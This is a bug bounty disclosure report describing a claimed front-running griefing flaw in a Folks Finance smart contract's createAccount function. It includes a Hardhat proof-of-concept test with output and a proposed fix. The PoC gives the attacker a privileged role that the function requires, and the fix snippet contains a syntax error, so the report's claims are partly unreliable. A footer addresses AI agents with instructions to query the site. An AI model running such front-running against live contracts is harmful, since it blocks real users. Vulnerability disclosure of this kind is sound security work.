# Boost \_ Folks Finance 33614 - \[Smart Contract - Medium] Front-Running Vulnerability in createAccount

Submitted on Wed Jul 24 2024 14:54:47 GMT-0400 (Atlantic Standard Time) by @chista0x for [Boost | Folks Finance](https://immunefi.com/bounty/folksfinance-boost/)

Report ID: #33614

Report type: Smart Contract

Report severity: Medium

Target: <https://testnet.snowtrace.io/address/0x3324B5BF2b5C85999C6DAf2f77b5a29aB74197cc>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

The `createAccount` method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same `accountId` but with a higher `gasPrice`, causing the victim's transaction to be reverted due to the account ID already being in use.

## Vulnerability Details

The `createAccount` function currently checks if an `accountID` is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's account creation request by submitting a transaction with the same `accountId` but with a higher `gasPrice`. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the account ID collision.

The relevant code snippet from the `createAccount` method is:

```solidity

contract AccountManager is IAccountManager, AccessControlDefaultAdminRules {

    /// @notice Mapping of accounts to whether they are created
    mapping(bytes32 accountId => bool isCreated) internal accounts;

    /// @notice Mapping of account to addresses on spoke chains which will/are/have been able to manage the account
    mapping(bytes32 accountId => mapping(uint16 chainId => AccountAddress)) internal accountAddresses;

    /// @notice Mapping of addresses on spoke chains to the accountId they are registered to
    mapping(bytes32 addr => mapping(uint16 chainId => bytes32 accountId)) internal registeredAddresses;

    /// @notice Mapping of account to addresses on hub chain which are permitted to manage the account
    mapping(bytes32 accountId => mapping(address => bool isDelegated)) internal accountDelegatedAddresses;

    ...

    function createAccount(
        bytes32 accountId,
        uint16 chainId,
        bytes32 addr,
        bytes32 refAccountId
    ) external override onlyRole(HUB_ROLE) {
        // check account is not already created (empty is reserved for admin)
        if (isAccountCreated(accountId) || accountId == bytes32(0)) revert AccountAlreadyCreated(accountId);

        // check address is not already registered
        if (isAddressRegistered(chainId, addr)) revert AddressPreviouslyRegistered(chainId, addr);

        // check referrer is well defined
        if (!(isAccountCreated(refAccountId) || refAccountId == bytes32(0)))
            revert InvalidReferrerAccount(refAccountId);

        // create account
        accounts[accountId] = true;
        accountAddresses[accountId][chainId] = AccountAddress({ addr: addr, invited: false, registered: true });
        registeredAddresses[addr][chainId] = accountId;

        emit CreateAccount(accountId, chainId, addr, refAccountId);
    }

    ...

    function isAccountCreated(bytes32 accountId) public view override returns (bool) {
        return accounts[accountId];
    }

}


```

## Impact Details

This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new accounts on the protocol. By continuously front-running transactions, an attacker could effectively block all new account creation attempts, causing significant disruption to the protocol's user base.

## Recommendation

To mitigate this vulnerability, it is recommended to generate the `accountId` using a `seed` provided by the user and the `sender's address`. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the `accountId`.

Proposed code change:

```solidity
function createAccount(bytes32 seed, uint16 chainId, bytes32 addr, bytes32 refAccountId)
) external override onlyRole(HUB_ROLE) {
    bytes32 accountId = keccak256(abi.encode(seed, addr));

    // existing logic...
}
```

## References

* [AccountManager.sol on GitHub](https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/AccountManager.sol#L42)

## Proof of concept

## Proof of Concept (POC)

The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted.

Add the code to the `test\hub\AccountManager.test.ts`

```javascript
  describe("CreateAccount Front-Running", () => {
    it("Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use", async () => {
      const { hub, unusedUsers, accountManager, spokeChainId, refAccountId } =
        await loadFixture(createAccountFixture);

      const victim_Addr = convertEVMAddressToGenericAddress(unusedUsers[0].address);
      const attacker_Addr = convertEVMAddressToGenericAddress(unusedUsers[1].address);

      // Just for change nonce that simulate front-running
      await accountManager.grantRole(HUB_ROLE, unusedUsers[0]);
      await accountManager.grantRole(HUB_ROLE, unusedUsers[1]);

      const accountId_Same: string = getAccountIdBytes("ACCOUNT_ID_Same");
      expect(await accountManager.isAccountCreated(accountId_Same)).to.be.false;


      // set the mining behavior to false, so the transaction will be collected in the mempool, before finalization
      await network.provider.send("evm_setAutomine", [false]);

      // Victim made the transaction for create account with new account id
      const createAccount_victim = await accountManager.connect(unusedUsers[0])
      .createAccount(accountId_Same, spokeChainId, victim_Addr, refAccountId,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("100", "gwei") });
      console.log("Victim TX Hash = ", createAccount_victim.hash);

      // attacker create front-running for victim transaction with same accountId (send trx with higher gasPrice)
      const createAccount_attacker = await accountManager.connect(unusedUsers[1])
      .createAccount(accountId_Same, spokeChainId, attacker_Addr, refAccountId,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei") });
      console.log("Attacker TX Hash = ", createAccount_attacker.hash);

      const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
        "pending", 
        false, 
      ]);
      console.log("\n Pending Transactions = " , pendingBlock.transactions);

      // Manually create a block with the pending transactions
      await network.provider.send("evm_mine", []);

      // verify account is created
      expect(await accountManager.isAccountCreated(accountId_Same)).to.be.true;

      expect(createAccount_attacker)
      .to.emit(accountManager, "CreateAccount")
      .withArgs(accountId_Same, spokeChainId, attacker_Addr, refAccountId);

      expect(createAccount_victim)
      .to.be.revertedWithCustomError(accountManager, "AccountAlreadyCreated") 
      .withArgs(accountId_Same);

      expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, attacker_Addr)).to.be.true; // true
      expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, victim_Addr)).to.be.false; // false
    });
  });
```

To run the test, use the following command:

```bash
npx hardhat test --grep "Chista0x-Front-Running-CreateAccount"
```

Sample test output:

```bash
$ npx hardhat test --grep "Chista0x-Front-Running-CreateAccount"

  AccountManager (unit tests)
    CreateAccount Front-Running
Victim TX Hash =  0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45
Attacker TX Hash =  0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565

 Pending Transactions =  [
  '0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565',
  '0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45'
]
      ✔ Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use (3024ms)

  1 passing (3s)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/folks-finance/boost-_-folks-finance-33614-smart-contract-medium-front-running-vulnerability-in-createaccount-metho.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
